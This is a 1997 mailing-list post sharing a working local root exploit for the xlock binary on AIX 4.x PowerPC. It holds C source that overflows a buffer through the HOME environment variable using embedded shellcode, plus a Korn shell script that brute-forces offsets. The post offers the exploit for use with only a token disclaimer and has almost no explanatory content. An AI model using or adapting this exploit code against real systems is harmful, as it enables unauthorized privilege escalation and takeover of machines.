AIX xlock (Exploit)

Bryan P. Self (bryan@SCOTT.NET)
Mon, 21 Jul 1997 00:56:49 -0500

Yes! Yes! Yes! I know!!!!
This exploit is old news.
However, I don't remeber
this particular exploit
being posted to any of the
security mailing lists, so
I figured I'd go head and
post what I have. Enjoy :-)

/*
*
* /usr/bin/X11/xlock exploit (kinda' coded) by BeastMaster V
*
* CREDITS: this code is simply a modified version of an exploit
* posted by Georgi Guninski (guninski@hotmail.com)
*
* This will give a #rootshell# by overwriting a buffer
* via the $HOME environment variable in 'xlock'
* This exploit is designed for AIX 4.x on PPC platform.
*
*
* USAGE:
* $ cc -o foo -g aix_xlock.c
* $ ./foo 3200
* #
*
* HINT: Try giving ranges from 3100 through 3400
* (If these ranges don't work, then run the brute
* korn shell script provided after the exploit)
*
* DISCLAIMER: use this program in a responsible manner.
*
* --> don't forget to visit http://www.rootshell.com
* --> for more goodies :-)
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

extern int execv();

#define MAXBUF 600

unsigned int code[]={
0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
0x7c0903a6 , 0x4e800420, 0x0
};

char *createvar(char *name,char *value)
{
char *c;
int l;

l=strlen(name)+strlen(value)+4;
if (! (c=malloc(l))) {perror("error allocating");exit(2);};
strcpy(c,name);
strcat(c,"=");
strcat(c,value);
putenv(c);
return c;
}

main(int argc,char **argv,char **env)
{
unsigned int buf[MAXBUF],frame[MAXBUF],i,nop,toc,eco,*pt;
int min=200, max=300;
unsigned int return_address;
char *newenv[8];
char *args[4];
int offset=3200;

if (argc==2) offset = atoi(argv[1]);

pt=(unsigned *) &execv; toc=*(pt+1); eco=*pt;

*((unsigned short *)code+9)=(unsigned short) (toc & 0x0000ffff);
*((unsigned short *)code+7)=(unsigned short) ((toc >> 16) & 0x0000ffff);
*((unsigned short *)code+15)=(unsigned short) (eco & 0x0000ffff);
*((unsigned short *)code+13)=(unsigned short) ((eco >> 16) & 0x0000ffff);

return_address=(unsigned)&buf[0]+offset;

for(nop=0;nop<min;nop++) buf[nop]=0x4ffffb82;
strcpy((char*)&buf[nop],(char*)&code);
i=nop+strlen( (char*) &code)/4-1;

for(i=0;i<max-1;i++) frame[i]=return_address;
frame[i]=0;

newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
newenv[5]=createvar("HOME",(char*)&frame[0]);

args[0]="xlock";
execve("/usr/bin/X11/xlock",args,newenv);
perror("Error executing execve \n");

}

----------- Brute Korn Shell Script -----------
#!/bin/ksh
L=3000
O=10
while [ $L -lt 12000 ]
do
echo $L
L=`expr $L + $O`
./foo $L
done
----------- End Brute Shell Script ------------